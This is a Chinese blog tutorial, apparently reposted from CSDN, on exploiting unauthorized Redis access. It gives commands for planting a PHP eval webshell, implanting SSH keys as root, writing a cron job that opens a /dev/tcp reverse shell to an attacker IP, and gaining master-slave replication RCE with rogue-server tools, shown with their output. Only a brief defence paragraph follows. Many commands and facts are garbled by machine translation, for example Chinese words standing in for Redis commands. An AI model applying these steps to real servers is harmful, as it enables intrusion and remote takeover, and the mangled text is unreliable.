Redis漏洞原理(redis漏洞利用)

Redis漏洞原理Redis漏洞原理
Redis简单介绍
Redis是一款内存高速缓存的数据库,是一款K-V型数据库,它的所有键值都是用字典来存储的。其中它的value支持多种数据类型,包括St

Redis漏洞原理

Redis简单介绍

Redis是一个内存缓存数据库和K-V数据库,它的所有键值都存储在字典中。其值支持String、List、Set、Zset、Hash等多种数据类型。

Redis未授权访问漏洞介绍

利用条件

Redis 默认绑定到127.0.0.1:6379。如果不采取相关策略,例如添加防火墙规则,避免其他不可信来源的IP访问,Redis服务将暴露在公网,Redis将以空密码连接。默认情况下,如果您的服务器以root 身份运行Redis。

这样就允许任何用户在未经授权的情况下访问目标服务器上的Redis并读取Redis数据。

影响版本

雷迪斯=5.0.5

漏洞检测

通常,nmap工具用于扫描目标机器。如果你发现你的主机上的6379端口对外开放,并且你的目标主机也开放了外部网络访问,那么你可以使用本机上的redis-cli服务来连接你的目标服务器。

redis-cli -h 服务器IP

漏洞危害

攻击者无需身份验证即可访问内部数据,导致敏感信息泄露

攻击者可以恶意执行flash-all 来擦除所有数据

攻击者可以通过eval执行Lua代码,或者通过数据备份功能将后门文件写入磁盘。

eval() 用于执行字符串表达式并返回表达式的值。

Lua 是一种用C 语言编写的开源代码脚本语言,旨在嵌入到编程应用程序中并为其提供有用的扩展。

由于Redis以root权限运行,攻击者可以将SSH公钥文件写入root账户,并通过SSH直接登录目标服务器。

Redis写入webshell

原理

为了保持连接,Redis 将数据存储在本地。然后,攻击者可以使用后门代码作为值并将其写入web 目录中的.php 文件以实现PHP Web shell。

利用条件

如果目标机器上启用了Web服务,攻击者知道Web目录的路径,并且该路径具有文件的读写权限,则可以通过Redis创建未经授权的访问漏洞,可以直接连接到目标机器。

目前,攻击者可以通过Redis 写入Web shell。

利用过程

一个例子如下所示。

config set dir /var/www.html/#切换到Web写入目录

config set dbfilename zcc.php #设置写入木马的文件名

set xxx \’\\n\\n\\n?php @eval($_POST[\’zcc\’]);\\n\\n\\n\’ #Write 这里需要换行符,因为它将恶意代码写入内存。如果不包装文件,将提供版本信息,但可能无法执行。

save #将内存中的数据导出到磁盘

Redis写入SSH公钥

原理

向Redis数据库中插入一条数据,使用本地公钥作为值,并将数据库的默认路径更改为/root/.ssh(ssh文件夹)和默认缓冲文件authorized.keys(公钥文件)去做。 ) 缓冲的数据存储在一个文件中,因此可以在服务器端的/root/.ssh下生成认证密钥。

利用条件

利用该漏洞成功连接Redis后。

此外,Redis 服务以root 权限运行。

此外,安全模式保护模式也被关闭。

服务器启用ssh服务并允许密钥登录。将密钥和其他配置信息保存在/root/.ssh目录中(如果安装了openssh,则无需配置即可使用公钥,只需将其放在/root/.ssh文件夹中即可。(您将可以登录在)。默认),

您可以远程写入公钥并直接登录远程服务器。

利用过程

ssh 密钥生成器trsa

配置集目录/root/.ssh

配置集dbfilenameauthorized_keys

设置x \’\\n\\n\\nssh-rsa .公钥.\\n\\n\\n\’

保持

连接:

ssh -i id_rsa root@ip

Redis写入计划任务反弹shell

原则

向数据库中插入部分数据,以定时任务的内容为值,将数据库默认路径更改为目标主机上的定时任务路径,并将缓冲的数据保存到文件中。您可以使用计划任务来反弹shell。

使用条款

您可以远程连接到Redis 安全模式。 protectedcd-mode 是封闭模式,以root 权限运行。

使用流程

设置x \’\\n\\n****bash -i /dev/tcp/xx.xx.xx.xx/8089 01 \\n\\n\’

配置setdir /var/spool/cron

配置集dbfilename root

保持

Redis未授权访问漏洞防御

限制IP访问、更改默认端口、使用密码登录、限制密钥登录、不要使用root运行Redis

主从复制RCE

目标版本是redis 4.x/5.x。 目前大多数redis都驻留在docker上,因此无法以上述方式利用,因为没有ssh或crontab等非redis服务。这需要主/从复制。

主从模式是指使用一个Redis实例作为主机,另一个实例作为备份机(从机)。主机和从机上的数据是相同的,从机只负责读取。主人只负责写作。通过分离读取和写入可以实现显着的改进。减少交通压力可以被视为以牺牲空间为代价提高效率的一种方法。

第一种方式:利用redis-rogue-server脚本

使用的脚本:https://github.com/LoRexxar/redis-rogue-server、https://github.com/n0b0dyCN/redis-rogue-server

该工具的原理是首先创建一个恶意Redis服务器作为Redis主机(master),以便它可以响应其他连接的Redis从机的响应。创建恶意Redis主机后,远程连接目标Redis服务器,并通过slaveof命令将目标Redis服务器配置为恶意Redis的Redis从属服务器。接下来,将恶意Redis主机上的exp同步到Reid从机,并将dbfilename设置为exp.so。最后,我们控制Redis从机加载模块并执行系统命令。

不过,只有当目标存在Redis未授权访问漏洞时,才能使用该工具。如果目标Redis有密码,则无法使用该工具。

1.首先使用恶意服务器充当主机,使用FULLRESYNC功能将so文件送给从机

python3 redis-rogue-server_5.py –rhost 172.17.0.3 –rport 6379 –lhost 172.17.0.1 –lport 6381

目标172.17.0.3:6379

服务器172.17.0.1:6381

[-] b\’*3\\r\\n$7\\r\\nSLAVEOF\\r\\n$10\\r\\n172.17.0.1\\r\\n$4\\r\\n6381\\r\\n\’

[-] b\’+确定\\r\\n\’

[-] b\’*4\\r\\n$6\\r\\nCONFIG\\r\\n$3\\r\\nSET\\r\\n$10\\r\\ndb文件名\\r\\n$6\\r\\nexp.so\\r\\n\’

[-] b\’+确定\\r\\n\’

[-] b\’*1\\r\\n$4\\r\\nPING\\r\\n\’

[-] b\’+pon\\r\\n\’

[-] b\’*3\\r\\n$8\\r\\nREPLCONF\\r\\n$14\\r\\n监听端口\\r\\n$4\\r\\n6379\\r\\n\’

[-] b\’+确定\\r\\n\’

[-] b\’*5\\r\\n$8\\r\\nREPLCONF\\r\\n$4\\r\\ncapa\\r\\n$3\\r\\neof\\r\\n$4\\r\\ncapa\\r\\n$6\\r \\npsync2\\r\\n\’

[-] b\’+确定\\r\\n\’

[-] b\’*3\\r\\n$5\\r\\nPSYNC\\r\\n$40\\r\\n17772cb6827fd13b0cbcbb0332a2310f6e23207d\\r\\n$1\\r\\n1\\r\\n\’

[-] b\’+FULLRESYNC ZZZZZZZZZZZZZZZZZZZZZZZZZZZZ 1\\r\\n$42688\\r\\n\\x7fELF\\x02\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\’ . b\’\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x11\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00 \\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xea\\x9f\\x00\\x00\\x00\\x00\\x00\\x00\\xd3\\x00\\ x00 \\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 \\x00\\x00\\x00\\x00\\r\\n\’

[-] b\’*3\\r\\n$6\\r\\nMODULE\\r\\n$4\\r\\nLOAD\\r\\n$8\\r\\n./exp.so\\r\\n\’

[-] b\’+确定\\r\\n\’

[-] b\’*3\\r\\n$7\\r\\nSLAVEOF\\r\\n$2\\r\\n否\\r\\n$3\\r\\n一个\\r\\n\’

[-] b\’+确定\\r\\n\’

2.登录从机(也就是未授权主机)直接执行系统命令

ubuntu@VM-1-7-ubuntu:~/lorexxar/redis-rogue-server$ redis-cli -h 172.17.0.3

172.17.0.3:6379 系统.exec \’id\’

\’\\x89uid=999(redis) gid=999(redis) 组=999(redis)\\n\’

172.17.0.3:6379 system.exec \’whoami\’

\’\\brdis\\n\’

第二种方式:利用 redis-rce 工具

https://github.com/Rider/redis-rce

该工具有一个-a 选项,可用于Redis 身份验证。

但是,该工具缺少一个exp.so 文件。还需要到上面的文件中,用redis-rogue-server工具找到exp.so文件,并将其复制到与redis-rce.py同一目录下。单击,然后运行以下命令:

#python3 redis-rce.py -r rhost -lhost lhost -f exp.so -a 密码

python3 redis-rce.py -r 192.168.43.82 -L 192.168.43.247 -f exp.so -a 657260

执行后还可以选择获取交互式shell或者反弹shell。

交互式外壳:

反弹壳:

总结

Redis未授权访问漏洞是由于配置问题导致的漏洞,因为未修改默认端口6379,且不限制外部IP访问。 Redis 中未经授权的漏洞通常可用于创建Web shell、创建用于登录的ssh 公钥以及创建反弹shell 连接的任务。这些漏洞的本质是可以远程连接Redis并修改文件。针对Redis 漏洞的防御措施包括限制对IP 的访问、更改默认端口、无密钥登录以及无需root 即可运行Redis。特权。

以上#Redis漏洞原理相关内容摘自网络,仅供参考。相关信息请参见官方公告。

原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/91272.html

Like (0)
CSDN的头像CSDN
Previous 2024年6月21日
Next 2024年6月21日

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注